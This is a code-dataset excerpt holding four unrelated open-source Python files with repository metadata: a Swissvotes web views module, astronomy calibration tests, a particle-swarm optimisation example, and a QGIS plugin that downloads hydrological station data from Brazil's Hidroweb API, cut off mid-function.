20148bf321b71f617b64376fe7249b2b9b9c4aa9

[ "MIT" ]

null

src/onegov/swissvotes/views/votes.py

politbuero-kampagnen/onegov-cloud

20148bf321b71f617b64376fe7249b2b9b9c4aa9

[ "MIT" ]

null

src/onegov/swissvotes/views/votes.py

politbuero-kampagnen/onegov-cloud

20148bf321b71f617b64376fe7249b2b9b9c4aa9

[ "MIT" ]

null

from morepath.request import Response from onegov.core.security import Private from onegov.core.security import Public from onegov.core.security import Secret from onegov.form import Form from onegov.swissvotes import _ from onegov.swissvotes import SwissvotesApp from onegov.swissvotes.collections import SwissVoteCollection from onegov.swissvotes.external_resources import MfgPosters from onegov.swissvotes.external_resources import SaPosters from onegov.swissvotes.forms import SearchForm from onegov.swissvotes.forms import UpdateDatasetForm from onegov.swissvotes.forms import UpdateExternalResourcesForm from onegov.swissvotes.forms import UpdateMetadataForm from onegov.swissvotes.layouts import DeleteVotesLayout from onegov.swissvotes.layouts import UpdateExternalResourcesLayout from onegov.swissvotes.layouts import UpdateMetadataLayout from onegov.swissvotes.layouts import UpdateVotesLayout from onegov.swissvotes.layouts import VotesLayout from translationstring import TranslationString @SwissvotesApp.form( model=SwissVoteCollection, permission=Public, form=SearchForm, template='votes.pt' ) def view_votes(self, request, form): if not form.errors: form.apply_model(self) return { 'layout': VotesLayout(self, request), 'form': form } @SwissvotesApp.form( model=SwissVoteCollection, permission=Private, form=UpdateDatasetForm, template='form.pt', name='update' ) def update_votes(self, request, form): self = self.default() layout = UpdateVotesLayout(self, request) if form.submitted(request): added, updated = self.update(form.dataset.data) request.message( _( "Dataset updated (${added} added, ${updated} updated)", mapping={'added': added, 'updated': updated} ), 'success' ) # Warn if descriptor labels are missing missing = set() for vote in self.query(): for policy_area in vote.policy_areas: missing |= set( path for path in policy_area.label_path if not isinstance(path, TranslationString) ) if missing: request.message( _( "The dataset contains unknown descriptors: ${items}.", mapping={'items': ', '.join(sorted(missing))} ), 'warning' ) return request.redirect(layout.votes_url) return { 'layout': layout, 'form': form, 'cancel': request.link(self), 'button_text': _("Update"), } @SwissvotesApp.form( model=SwissVoteCollection, permission=Private, form=UpdateMetadataForm, template='form.pt', name='update-metadata' ) def update_metadata(self, request, form): self = self.default() layout = UpdateMetadataLayout(self, request) if form.submitted(request): added, updated = self.update_metadata(form.metadata.data) request.message( _( "Metadata updated (${added} added, ${updated} updated)", mapping={'added': added, 'updated': updated} ), 'success' ) return request.redirect(layout.votes_url) return { 'layout': layout, 'form': form, 'cancel': request.link(self), 'button_text': _("Update"), } @SwissvotesApp.form( model=SwissVoteCollection, permission=Private, form=UpdateExternalResourcesForm, template='form.pt', name='update-external-resources' ) def update_external_resources(self, request, form): self = self.default() layout = UpdateExternalResourcesLayout(self, request) if form.submitted(request): added_total = 0 updated_total = 0 removed_total = 0 failed_total = set() for resource, cls in ( ('mfg', MfgPosters(request.app.mfg_api_token)), ('sa', SaPosters()) ): if resource in form.resources.data: added, updated, removed, failed = cls.fetch(request.session) added_total += added updated_total += updated removed_total += removed failed_total |= failed request.message( _( 'External resources updated (${added} added, ' '${updated} updated, ${removed} removed)', mapping={ 'added': added_total, 'updated': updated_total, 'removed': removed_total } ), 'success' ) if failed_total: failed_total = ', '.join(( layout.format_bfs_number(item) for item in sorted(failed_total) )) request.message( _( 'Some external resources could not be updated: ${failed}', mapping={'failed': failed_total} ), 'warning' ) return request.redirect(layout.votes_url) return { 'layout': layout, 'form': form, 'cancel': request.link(self), 'button_text': _("Update external resources"), } @SwissvotesApp.view( model=SwissVoteCollection, permission=Public, name='csv' ) def export_votes_csv(self, request): return Response( request.app.get_cached_dataset('csv'), content_type='text/csv', content_disposition='inline; filename=dataset.csv' ) @SwissvotesApp.view( model=SwissVoteCollection, permission=Public, name='xlsx' ) def export_votes_xlsx(self, request): return Response( request.app.get_cached_dataset('xlsx'), content_type=( 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' ), content_disposition='inline; filename=dataset.xlsx' ) @SwissvotesApp.form( model=SwissVoteCollection, permission=Secret, form=Form, template='form.pt', name='delete' ) def delete_votes(self, request, form): self = self.default() layout = DeleteVotesLayout(self, request) if form.submitted(request): for vote in self.query(): request.session.delete(vote) request.message(_("All votes deleted"), 'success') return request.redirect(layout.votes_url) return { 'layout': layout, 'form': form, 'message': _("Do you really want to delete all votes?!"), 'button_text': _("Delete"), 'button_class': 'alert', 'cancel': request.link(self) }

28.432203

79

0.609836

639

6,710

6.300469

0.209703

0.044709

0.069548

0.033532

0.505961

0.334078

0.304521

0.231495

0.211128

0.185792

0

0.000628

0.288376

6,710

235

80

28.553191

0.842513

0.005514

0

0.40099

0

0.130865

0.016639

0

1

0.034653

false

0

0.09901

0.009901

0.188119

0

null

0

null

0

1

0

a85d4cf44430862f9bfd99764870fc365b640c93

13,810

py

Python

hera_cal/tests/test_firstcal.py

keelder/hera_cal

6f2f78ad4a5c8a3f47065c178e15f0569f80157e

[ "MIT" ]

null

hera_cal/tests/test_firstcal.py

keelder/hera_cal

6f2f78ad4a5c8a3f47065c178e15f0569f80157e

[ "MIT" ]

null

hera_cal/tests/test_firstcal.py

keelder/hera_cal

6f2f78ad4a5c8a3f47065c178e15f0569f80157e

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Copyright 2018 the HERA Project # Licensed under the MIT License '''Tests for firstcal.py''' import nose.tools as nt import os import json import numpy as np import aipy import optparse import sys from pyuvdata import UVCal, UVData import hera_cal.firstcal as firstcal from hera_cal.omni import compute_reds from hera_cal.data import DATA_PATH from hera_cal.calibrations import CAL_PATH class Test_FirstCal(object): def setUp(self): antpos = np.array([[14.60000038, -25.28794098, 1.], [21.89999962, -12.64397049, 1.], [14.60000038, 25.28794098, 1.], [-21.89999962, -12.64397049, 1.], [-14.60000038, 0., 1.], [21.89999962, 12.64397049, 1.], [29.20000076, 0., 1.], [-14.60000038, -25.28794098, 1.], [0., 25.28794098, 1.], [0., -25.28794098, 1.], [0., 0., 1.], [-7.30000019, -12.64397049, 1.], [-7.30000019, 12.64397049, 1.], [-21.89999962, 12.64397049, 1.], [-29.20000076, 0., 1.], [14.60000038, 0., 1.], [-14.60000038, 25.28794098, 1.], [7.30000019, -12.64397049, 1.]]) reds = [[(0, 8), (9, 16)], [(13, 15), (14, 17), (3, 0), (4, 1), (16, 5), (12, 6)], [(3, 17), (4, 15), (7, 0), (11, 1), (16, 2), (12, 5), (10, 6), (14, 10)], [(3, 6), (14, 5)], [(0, 9), (1, 17), (2, 8), (4, 14), (6, 15), (8, 16), (12, 13), (11, 3), (10, 4), (9, 7), (15, 10), (17, 11)], [(3, 8), (11, 2), (9, 5)], [(3, 9), (4, 17), (12, 15), (11, 0), (10, 1), (8, 5), (13, 10), (14, 11)], [(0, 13), (1, 16)], [(0, 4), (1, 12), (6, 8), (9, 14), (15, 16), (17, 13)], [(0, 5), (3, 16), (7, 12), (17, 2), (11, 8)], [(0, 10), (7, 14), (10, 16), (11, 13), (6, 2), (9, 4), (15, 8), (17, 12)], [(1, 9), (2, 12), (5, 10), (6, 17), (8, 13), (12, 14), (10, 3), (17, 7), (15, 11)], [(2, 3), (5, 7)], [(16, 17), (12, 0), (8, 1), (13, 9)], [(0, 17), (1, 15), (3, 14), (4, 13), (9, 11), (10, 12), (12, 16), (5, 2), (7, 3), (11, 4), (6, 5), (17, 10)], [(3, 15), (4, 5), (7, 1), (13, 2), (11, 6)], [(5, 15), (8, 12), (10, 11), (13, 14), (15, 17), (1, 0), (6, 1), (4, 3), (12, 4), (11, 7), (17, 9), (16, 13)], [(0, 15), (1, 5), (3, 13), (4, 16), (9, 10), (11, 12), (15, 2), (7, 4), (10, 8)], [(0, 6), (3, 12), (4, 8), (7, 10), (9, 15), (14, 16), (10, 2), (17, 5)], [(8, 17), (2, 1), (13, 7), (12, 9), (16, 11)], [(0, 2), (7, 16), (9, 8)], [(4, 6), (14, 15), (3, 1), (13, 5)], [(0, 14), (1, 13), (6, 16)], [(2, 14), (6, 7), (5, 3)], [(2, 9), (8, 7)], [(2, 4), (5, 11), (6, 9), (8, 14), (15, 7)], [(1, 14), (6, 13)]] self.freqs = np.linspace(.1, .2, 64) self.times = np.arange(1) ants = np.arange(len(antpos)) reds = compute_reds(len(ants), 'x', antpos, tol=0.1) self.info = firstcal.FirstCalRedundantInfo(len(antpos)) self.info.init_from_reds(reds, antpos) # Simulate unique "true" visibilities np.random.seed(21) self.vis_true = {'xx': {}} i = 0 for rg in reds: self.vis_true['xx'][rg[0]] = np.array(1.0 * np.random.randn(len(self.times), len( self.freqs)) + 1.0j * np.random.randn(len(self.times), len(self.freqs)), dtype=np.complex64) # Generate and apply firstcal gains self.fcgains = {} self.delays = {} for i in ants: if i == len(ants) - 1: self.delays[i] = -1 * \ np.sum([delay for delay in self.delays.values()]) else: self.delays[i] = np.random.randn() * 30 fcspectrum = np.exp(2.0j * np.pi * self.delays[i] * self.freqs) self.fcgains[i] = np.array( [fcspectrum for t in self.times], dtype=np.complex64) self.delays[i] /= 1e9 # Generate fake data bl2ublkey = {bl: rg[0] for rg in reds for bl in rg} self.data = {} self.wgts = {} for rg in reds: for (i, j) in rg: self.data[(i.val, j.val)] = {} self.wgts[(i.val, j.val)] = {} for pol in ['xx']: self.data[(i.val, j.val)][pol] = np.array(np.conj(self.fcgains[ i.val]) * self.fcgains[j.val] * self.vis_true['xx'][rg[0]], dtype=np.complex64) self.wgts[(i.val, j.val)][pol] = np.ones_like( self.data[(i.val, j.val)][pol], dtype=np.bool) def test_data_to_delays(self): fcal = firstcal.FirstCal(self.data, self.wgts, self.freqs, self.info) w = fcal.data_to_delays() for (i, k), (l, m) in w.keys(): nt.assert_almost_equal(w[(i, k), (l, m)][0], self.delays[ i] - self.delays[k] - self.delays[l] + self.delays[m], places=16) def test_data_to_delays_average(self): fcal = firstcal.FirstCal(self.data, self.wgts, self.freqs, self.info) w = fcal.data_to_delays(average=True) for (i, k), (l, m) in w.keys(): nt.assert_almost_equal(w[(i, k), (l, m)][0], self.delays[ i] - self.delays[k] - self.delays[l] + self.delays[m], places=16) def test_get_N(self): fcal = firstcal.FirstCal(self.data, self.wgts, self.freqs, self.info) # the only requirement on N is it's shape. nt.assert_equal(fcal.get_N(len(fcal.info.bl_pairs)).shape, (len(fcal.info.bl_pairs), len(fcal.info.bl_pairs))) def test_get_M(self): fcal = firstcal.FirstCal(self.data, self.wgts, self.freqs, self.info) nt.assert_equal(fcal.get_M().shape, (len( self.info.bl_pairs), len(self.times))) _M = np.array([1 * (self.delays[i] * np.ones(len(self.times)) - self.delays[k] * np.ones(len(self.times)) - self.delays[l] * np.ones(len(self.times)) + self.delays[m] * np.ones(len(self.times))) for (i, k), (l, m) in self.info.bl_pairs]) nt.assert_equal(np.testing.assert_almost_equal( _M, fcal.get_M(), decimal=16), None) def test_run(self): fcal = firstcal.FirstCal(self.data, self.wgts, self.freqs, self.info) sols = fcal.run() solved_delays = [] for pair in fcal.info.bl_pairs: ant_indexes = fcal.info.blpair2antind(pair) dlys = fcal.xhat[ant_indexes] solved_delays.append(dlys[0] - dlys[1] - dlys[2] + dlys[3]) solved_delays = np.array(solved_delays).flatten() nt.assert_equal(np.testing.assert_almost_equal( fcal.M.flatten(), solved_delays, decimal=16), None) def test_run_average(self): fcal = firstcal.FirstCal(self.data, self.wgts, self.freqs, self.info) sols = fcal.run(average=True) solved_delays = [] for pair in fcal.info.bl_pairs: ant_indexes = fcal.info.blpair2antind(pair) dlys = fcal.xhat[ant_indexes] solved_delays.append(dlys[0] - dlys[1] - dlys[2] + dlys[3]) solved_delays = np.array(solved_delays).flatten() nt.assert_equal(np.testing.assert_almost_equal( fcal.M.flatten(), solved_delays, decimal=16), None) def test_process_ubls(self): ubls = '' ubaselines = firstcal.process_ubls(ubls) nt.assert_equal(ubaselines, []) ubls = '0_1,1_2,2_3' ubaselines = firstcal.process_ubls(ubls) nt.assert_equal(ubaselines, [(0, 1), (1, 2), (2, 3)]) ubls = '0_1,1,2' nt.assert_raises(AssertionError, firstcal.process_ubls, ubls) return class TestFCRedInfo(object): def test_init_from_reds(self): antpos = np.array([[0., 0, 0], [1, 0, 0], [2, 0, 0], [3, 0, 0]]) reds = compute_reds(4, 'x', antpos) blpairs = [((0, 1), (1, 2)), ((0, 1), (2, 3)), ((1, 2), (2, 3)), ((0, 2), (1, 3))] A = np.array([[1, -2, 1, 0], [1, -1, -1, 1], [0, 1, -2, 1], [1, -1, -1, 1]]) i = firstcal.FirstCalRedundantInfo(4) i.init_from_reds(reds, antpos) nt.assert_true(np.all(i.subsetant == np.arange(4, dtype=np.int32))) nt.assert_equal(i.reds, reds) nt.assert_equal(i.bl_pairs, blpairs) nt.assert_true(i.blperant[0] == 2) nt.assert_true(i.blperant[1] == 3) nt.assert_true(i.blperant[2] == 3) nt.assert_true(i.blperant[3] == 2) nt.assert_true(np.all(i.A == A)) def test_bl_index(self): antpos = np.array([[0., 0, 0], [1, 0, 0], [2, 0, 0], [3, 0, 0]]) reds = compute_reds(4, 'x', antpos) i = firstcal.FirstCalRedundantInfo(4) i.init_from_reds(reds, antpos) bls_order = [bl for ublgp in reds for bl in ublgp] for k, b in enumerate(bls_order): nt.assert_equal(i.bl_index(b), k) def test_blpair_index(self): antpos = np.array([[0., 0, 0], [1, 0, 0], [2, 0, 0], [3, 0, 0]]) reds = compute_reds(4, 'x', antpos) blpairs = [((0, 1), (1, 2)), ((0, 1), (2, 3)), ((1, 2), (2, 3)), ((0, 2), (1, 3))] i = firstcal.FirstCalRedundantInfo(4) i.init_from_reds(reds, antpos) for k, bp in enumerate(blpairs): nt.assert_equal(i.blpair_index(bp), k) def test_blpair2antindex(self): antpos = np.array([[0., 0, 0], [1, 0, 0], [2, 0, 0], [3, 0, 0]]) reds = compute_reds(4, 'x', antpos) blpairs = [((0, 1), (1, 2)), ((0, 1), (2, 3)), ((1, 2), (2, 3)), ((0, 2), (1, 3))] i = firstcal.FirstCalRedundantInfo(4) i.init_from_reds(reds, antpos) for bp in blpairs: nt.assert_true(np.all(i.blpair2antind(bp) == map( i.ant_index, np.array(bp).flatten()))) class Test_firstcal_run(object): global calfile global xx_vis calfile = "hera_test_calfile" xx_vis = "zen.2457698.40355.xx.HH.uvcAA" # add directory with calfile if CAL_PATH not in sys.path: sys.path.append(CAL_PATH) def test_empty_fileset(self): o = firstcal.firstcal_option_parser() cmd = "-C {0} -p xx".format(calfile) opts, files = o.parse_args(cmd.split()) history = 'history' nt.assert_raises(AssertionError, firstcal.firstcal_run, files, opts, history) return def test_single_file_execution(self): objective_file = os.path.join( DATA_PATH, 'zen.2457698.40355.xx.HH.uvcAA.first.calfits') xx_vis4real = os.path.join(DATA_PATH, xx_vis) if os.path.exists(objective_file): os.remove(objective_file) o = firstcal.firstcal_option_parser() cmd = "-C {0} -p xx --ex_ants=81 {1}".format(calfile, xx_vis4real) opts, files = o.parse_args(cmd.split()) history = 'history' firstcal.firstcal_run(files, opts, history) nt.assert_true(os.path.exists(objective_file)) os.remove(objective_file) return def test_single_file_execution_nocalfile(self): objective_file = os.path.join( DATA_PATH, 'zen.2457999.76839.xx.HH.uvA.first.calfits') xx_vis = os.path.join(DATA_PATH, 'zen.2457999.76839.xx.HH.uvA') if os.path.exists(objective_file): os.remove(objective_file) o = firstcal.firstcal_option_parser() cmd = "-p xx {0}".format(xx_vis) opts, files = o.parse_args(cmd.split()) history = 'history' firstcal.firstcal_run(files, opts, history) nt.assert_true(os.path.exists(objective_file)) os.remove(objective_file) return def test_overwrite(self): objective_file = os.path.join( DATA_PATH, 'zen.2457698.40355.xx.HH.uvcAA.first.calfits') xx_vis4real = os.path.join(DATA_PATH, xx_vis) if os.path.exists(objective_file): os.remove(objective_file) _ = open(objective_file, 'a').close() o = firstcal.firstcal_option_parser() cmd = "-C {0} -p xx --overwrite {1}".format(calfile, xx_vis4real) opts, files = o.parse_args(cmd.split()) history = 'history' firstcal.firstcal_run(files, opts, history) # check its a calfits file uvc = UVCal() uvc.read_calfits(objective_file) # check a metadata column for accuracy nt.assert_equal(uvc.Nants_data, 19) # remove file os.remove(objective_file) return def test_rotated_antennas(self): objective_file = os.path.join( DATA_PATH, 'zen.2457555.42443.xx.HH.uvcA.first.calfits') xx_vis = os.path.join( DATA_PATH, 'zen.2457555.42443.xx.HH.uvcA') o = firstcal.firstcal_option_parser() cmd = "-p xx -C {0} --ex_ants=22,81 {1}".format(calfile, xx_vis) opts, files = o.parse_args(cmd.split()) history = 'history' firstcal.firstcal_run(files, opts, history) nt.assert_true(os.path.exists(objective_file)) os.remove(objective_file) return

43.021807

142

0.506445

1,932

13,810

3.511387

0.127847

0.03066

0.022995

0.016509

0.652565

0.592718

0.533461

0.512087

0.489829

0.451356

0

0.1113

0.316872

13,810

320

143

43.15625

0.607802

0.024475

0

0.365942

0

0.033219

0.018802

0

0.094203

1

0.061594

false

0

0.043478

0

0.144928

0

null

0

null

0

1

0

a85d6d53dc93cd8aac172a3ae52618d490931487

1,123

py

Python

src/Examples/PSO2006Example.py

PatrikValkovic/MasterThesis

6e9f3b186541db6c8395ebc96ace7289d01c805b

[ "MIT" ]

null

src/Examples/PSO2006Example.py

PatrikValkovic/MasterThesis

6e9f3b186541db6c8395ebc96ace7289d01c805b

[ "MIT" ]

null

src/Examples/PSO2006Example.py

PatrikValkovic/MasterThesis

6e9f3b186541db6c8395ebc96ace7289d01c805b

[ "MIT" ]

null

############################### # # Created by Patrik Valkovic # 5/7/2021 # ############################### import numpy as np import ffeat.pso as pso import ffeat.measure as measure import bbobtorch DIM = 40 problem = bbobtorch.create_f07(DIM) best_fitness = [] mean_fitness = [] alg = pso.PSO( pso.initialization.Uniform(100, -5, 5, DIM), # position initialization pso.initialization.Uniform(100, -1, 1, DIM), # velocity initialization pso.evaluation.Evaluation(problem), pso.neighborhood.Random(3), # use Random neighborhood pso.update.PSO2006(), # use PSO2006 algorithm measurements_termination=[ measure.FitnessLowest(measure.reporting.Array(best_fitness)), measure.FitnessMean(measure.reporting.Array(mean_fitness)), ], clip_position=pso.clip.Position(-5,5), iterations=100, ) alg() import matplotlib.pyplot as plt plt.figure() plt.plot(range(len(best_fitness)), np.array(best_fitness) - float(problem.f_opt), label='Best fitness') plt.plot(range(len(mean_fitness)), np.array(mean_fitness) - float(problem.f_opt), label='Mean fitness') plt.legend() plt.show()

28.075

103

0.687444

143

1,123

5.307692

0.412587

0.072464

0.063241

0.071146

0.073781

0

0.034908

0.13268

1,123

39

104

28.794872

0.744353

0.114871

0

0.026002

0

1

0

false

0

0.178571

0

0.178571

0

null

0

null

0

1

0

a85efd598232cd71c89a7195d242dd7d67cb6a3c

20,343

py

Python

hidroweb_downloader.py

alexnaoki/hidroweb-downloader-plugin

6609ba025bef6c088a072c20f026d0610769c677

[ "MIT" ]

1

2021-03-28T01:55:06.000Z

hidroweb_downloader.py

alexnaoki/hidroweb-downloader-plugin

6609ba025bef6c088a072c20f026d0610769c677

[ "MIT" ]

null

hidroweb_downloader.py

alexnaoki/hidroweb-downloader-plugin

6609ba025bef6c088a072c20f026d0610769c677

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ /*************************************************************************** HidrowebDownloader A QGIS plugin Download hydrological data from ANA's API (Hidroweb) Generated by Plugin Builder: http://g-sherman.github.io/Qgis-Plugin-Builder/ ------------------- begin : 2021-03-27 git sha : $Format:%H$ copyright : (C) 2021 by Alex Naoki Asato Kobayashi email : alexkobayashi10@gmail.com ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ """ from qgis.PyQt.QtCore import QSettings, QTranslator, QCoreApplication, QVariant from qgis.PyQt.QtGui import QIcon from qgis.PyQt.QtWidgets import QAction from qgis.core import * # Initialize Qt resources from file resources.py from .resources import * # Import the code for the dialog from .hidroweb_downloader_dialog import HidrowebDownloaderDialog import os.path from shapely.geometry import Point, Polygon, MultiPolygon import requests, csv, os, datetime, calendar import xml.etree.ElementTree as ET class HidrowebDownloader: """QGIS Plugin Implementation.""" def __init__(self, iface): """Constructor. :param iface: An interface instance that will be passed to this class which provides the hook by which you can manipulate the QGIS application at run time. :type iface: QgsInterface """ # Save reference to the QGIS interface self.iface = iface # initialize plugin directory self.plugin_dir = os.path.dirname(__file__) # initialize locale locale = QSettings().value('locale/userLocale')[0:2] locale_path = os.path.join( self.plugin_dir, 'i18n', 'HidrowebDownloader_{}.qm'.format(locale)) if os.path.exists(locale_path): self.translator = QTranslator() self.translator.load(locale_path) QCoreApplication.installTranslator(self.translator) # Declare instance attributes self.actions = [] self.menu = self.tr(u'&Hidroweb Downloader') # Check if plugin was started the first time in current QGIS session # Must be set in initGui() to survive plugin reloads self.first_start = None # noinspection PyMethodMayBeStatic def tr(self, message): """Get the translation for a string using Qt translation API. We implement this ourselves since we do not inherit QObject. :param message: String for translation. :type message: str, QString :returns: Translated version of message. :rtype: QString """ # noinspection PyTypeChecker,PyArgumentList,PyCallByClass return QCoreApplication.translate('HidrowebDownloader', message) def add_action( self, icon_path, text, callback, enabled_flag=True, add_to_menu=True, add_to_toolbar=True, status_tip=None, whats_this=None, parent=None): """Add a toolbar icon to the toolbar. :param icon_path: Path to the icon for this action. Can be a resource path (e.g. ':/plugins/foo/bar.png') or a normal file system path. :type icon_path: str :param text: Text that should be shown in menu items for this action. :type text: str :param callback: Function to be called when the action is triggered. :type callback: function :param enabled_flag: A flag indicating if the action should be enabled by default. Defaults to True. :type enabled_flag: bool :param add_to_menu: Flag indicating whether the action should also be added to the menu. Defaults to True. :type add_to_menu: bool :param add_to_toolbar: Flag indicating whether the action should also be added to the toolbar. Defaults to True. :type add_to_toolbar: bool :param status_tip: Optional text to show in a popup when mouse pointer hovers over the action. :type status_tip: str :param parent: Parent widget for the new action. Defaults None. :type parent: QWidget :param whats_this: Optional text to show in the status bar when the mouse pointer hovers over the action. :returns: The action that was created. Note that the action is also added to self.actions list. :rtype: QAction """ icon = QIcon(icon_path) action = QAction(icon, text, parent) action.triggered.connect(callback) action.setEnabled(enabled_flag) if status_tip is not None: action.setStatusTip(status_tip) if whats_this is not None: action.setWhatsThis(whats_this) if add_to_toolbar: # Adds plugin icon to Plugins toolbar self.iface.addToolBarIcon(action) if add_to_menu: self.iface.addPluginToMenu( self.menu, action) self.actions.append(action) return action def initGui(self): """Create the menu entries and toolbar icons inside the QGIS GUI.""" icon_path = ':/plugins/hidroweb_downloader/icon.png' self.add_action( icon_path, text=self.tr(u'Download hydrological data from Hidroweb'), callback=self.run, parent=self.iface.mainWindow()) # will be set False in run() self.first_start = True def unload(self): """Removes the plugin menu item and icon from QGIS GUI.""" for action in self.actions: self.iface.removePluginMenu( self.tr(u'&Hidroweb Downloader'), action) self.iface.removeToolBarIcon(action) def run(self): """Run method that performs all the real work""" # Create the dialog with elements (after translation) and keep reference # Only create GUI ONCE in callback, so that it will only load when the plugin is started if self.first_start == True: self.first_start = False self.dlg = HidrowebDownloaderDialog() self.dlg.download_button.clicked.connect(self.polygon_station) self.dlg.inventarioDownload_button.clicked.connect(self.inventario) # show the dialog self.dlg.show() # Run the dialog event loop result = self.dlg.exec_() # See if OK was pressed if result: # Do something useful here - delete the line containing pass and # substitute with your code. # print('ok') print(self.dlg.file_widget.filePath()) def polygon_station(self): error = self.check_errors() if error: print('Error') # sys.exit() else: layer_input = self.dlg.mapLayer_box.currentLayer() print(layer_input) feat = layer_input.getFeatures() for l in feat: feat_geometry = l.geometry() if self.dlg.buffer_spinbox.value() == 0: pass else: feat_geometry = self.create_buffer_polygon(feat_geometry=feat_geometry, distance=self.dlg.buffer_spinbox.value(), segments=5) with open(self.dlg.inventario_path.filePath(), encoding='utf8') as csvfile: total = len(list(csv.DictReader(csvfile))) print(total) with open(self.dlg.inventario_path.filePath(), encoding='utf8') as csvfile: data = csv.DictReader(csvfile) i = 0 for row in data: i += 1 # print(row) self.dlg.progressBar.setValue(i/float(total)*100) if feat_geometry.contains(QgsPointXY(float(row['Longitude']), float(row['Latitude']))): print('aqui') print(row['TipoEstacao']) if (self.dlg.rain_checkbox.isChecked()) and (not self.dlg.flow_checkbox.isChecked()) and (int(row['TipoEstacao'])==2): print('rain checkbox') self.point_station(codigo=row['Codigo'], tipoEstacao=row['TipoEstacao'], lon=row['Longitude'], lat=row['Latitude']) elif (self.dlg.flow_checkbox.isChecked()) and (not self.dlg.rain_checkbox.isChecked()) and (int(row['TipoEstacao'])==1): print('flow checkbox') print(row['Codigo']) self.point_station(codigo=row['Codigo'], tipoEstacao=row['TipoEstacao'], lon=row['Longitude'], lat=row['Latitude']) elif (self.dlg.rain_checkbox.isChecked()) and (self.dlg.flow_checkbox.isChecked()): print('both rain and flow checkbox') self.point_station(codigo=row['Codigo'], tipoEstacao=row['TipoEstacao'], lon=row['Longitude'], lat=row['Latitude']) else: print('Nada selecionado') # print(self.dlg.inventario_path.filePath()[:-3]) self.iface.messageBar().pushMessage('Success', 'Programa finalizado!', level=Qgis.Success) def point_station(self, codigo, tipoEstacao, lon, lat): layers = list(QgsProject.instance().mapLayers().values()) layers_name = [l.name() for l in layers] s = self.download_station(code=codigo, typeData=tipoEstacao, folder_toDownload=f'{self.dlg.data_folder.filePath()}', lon=lon, lat=lat) if (not f'{codigo}_{tipoEstacao}' in layers_name) and (s[0]): lyr = QgsVectorLayer("point?crs=epsg:4326&field=id:integer", f"{codigo}_{tipoEstacao}", "memory") QgsProject.instance().addMapLayer(lyr) target_layer = QgsProject.instance().mapLayersByName(f'{codigo}_{tipoEstacao}') target_layer[0].startEditing() l_d = target_layer[0].dataProvider() feat = QgsFeature(target_layer[0].fields()) feat.setGeometry(QgsPoint(float(lon), float(lat))) if int(tipoEstacao)== 1: l_d.addAttributes([QgsField('Date', QVariant.Date), QgsField('Consistencia', QVariant.Int), QgsField('Vazao',QVariant.Double)]) for i, (date, consis, data) in enumerate(zip(s[1], s[2], s[3])): feat.setAttributes([i, date.strftime('%Y-%m-%d'),consis,data]) l_d.addFeatures([feat]) elif int(tipoEstacao) == 2: l_d.addAttributes([QgsField('Date', QVariant.Date), QgsField('Consistencia', QVariant.Int), QgsField('Chuva',QVariant.Double)]) for i, (date, consis, data) in enumerate(zip(s[1], s[2], s[3])): feat.setAttributes([i, date.strftime('%Y-%m-%d'),consis,data]) l_d.addFeatures([feat]) target_layer[0].updateExtents() target_layer[0].commitChanges() else: pass def download_station(self, code, typeData, folder_toDownload, lon, lat): if int(typeData) == 1: typeData = '3' else: pass params = {'codEstacao': f'{int(code):08}', 'dataInicio': '', 'dataFim': '', 'tipoDados': '{}'.format(typeData), 'nivelConsistencia': ''} response = requests.get(r'http://telemetriaws1.ana.gov.br/ServiceANA.asmx/HidroSerieHistorica', params) # response = requests.get(r'http://telemetriaws1.ana.gov.br/ServiceANA.asmx?op=HidroSerieHistorica', params) # print(code,response.status_code) tree = ET.ElementTree(ET.fromstring(response.content)) root = tree.getroot() list_data = [] list_consistenciaF = [] list_month_dates = [] lon = float(lon) lat = float(lat) for i in root.iter('SerieHistorica'): codigo = i.find("EstacaoCodigo").text consistencia = i.find("NivelConsistencia").text date = i.find("DataHora").text date = datetime.datetime.strptime(date, '%Y-%m-%d %H:%M:%S') last_day = calendar.monthrange(date.year, date.month)[1] month_dates = [date + datetime.timedelta(days=i) for i in range(last_day)] data = [] list_consistencia = [] for day in range(last_day): if params['tipoDados'] == '3': value = 'Vazao{:02}'.format(day+1) try: data.append(float(i.find(value).text)) list_consistencia.append(int(consistencia)) except TypeError: data.append(i.find(value).text) list_consistencia.append(int(consistencia)) except AttributeError: data.append(None) list_consistencia.append(int(consistencia)) if params['tipoDados'] == '2': value = 'Chuva{:02}'.format(day+1) try: data.append(float(i.find(value).text)) list_consistencia.append(consistencia) except TypeError: data.append(i.find(value).text) list_consistencia.append(consistencia) except AttributeError: data.append(None) list_consistencia.append(consistencia) list_data = list_data + data list_consistenciaF = list_consistenciaF + list_consistencia list_month_dates = list_month_dates + month_dates if len(list_data) > 0: rows = zip(list_month_dates,[lon for l in range(len(list_month_dates))],[lat for l in range(len(list_month_dates))], list_consistenciaF, list_data) with open(os.path.join(folder_toDownload, f'{codigo}_{typeData}.csv'), 'w', newline='') as f: writer = csv.writer(f) writer.writerow(('Date','Longitude','Latitude', f'Consistencia_{codigo}_{typeData}', f'Data_{codigo}_{typeData}')) for row in rows: writer.writerow(row) print('CSV gerado') return (True, list_month_dates, list_consistenciaF, list_data) else: print('Dado insuficiente') return (False, list_month_dates, list_consistenciaF, list_data) def create_buffer_polygon(self, feat_geometry, distance, segments): layers = list(QgsProject.instance().mapLayers().values()) layers_name = [l.name() for l in layers] if not 'buffer_polygon' in layers_name: lyr = QgsVectorLayer("polygon?crs=epsg:4326&field=id:integer", f"buffer_polygon", "memory") QgsProject.instance().addMapLayer(lyr) target_layer = QgsProject.instance().mapLayersByName('buffer_polygon') target_layer[0].startEditing() l_d = target_layer[0].dataProvider() # feats = target_layer[0].getFeatures() # for feat in feats: # geom = feat.geometry() feat = QgsFeature(target_layer[0].fields()) feat.setGeometry(feat_geometry.buffer(distance, segments)) l_d.addFeature(feat) target_layer[0].updateExtents() target_layer[0].commitChanges() f = target_layer[0].getFeatures() for l in f: l_geometry = l.geometry() return l_geometry def inventario(self): api_inventario = 'http://telemetriaws1.ana.gov.br/ServiceANA.asmx/HidroInventario' params = {'codEstDE':'','codEstATE':'','tpEst':'','nmEst':'','nmRio':'','codSubBacia':'', 'codBacia':'','nmMunicipio':'','nmEstado':'','sgResp':'','sgOper':'','telemetrica':''} self.dlg.progressBar_inventario.setValue(2) response = requests.get(api_inventario, params) self.dlg.progressBar_inventario.setValue(10) tree = 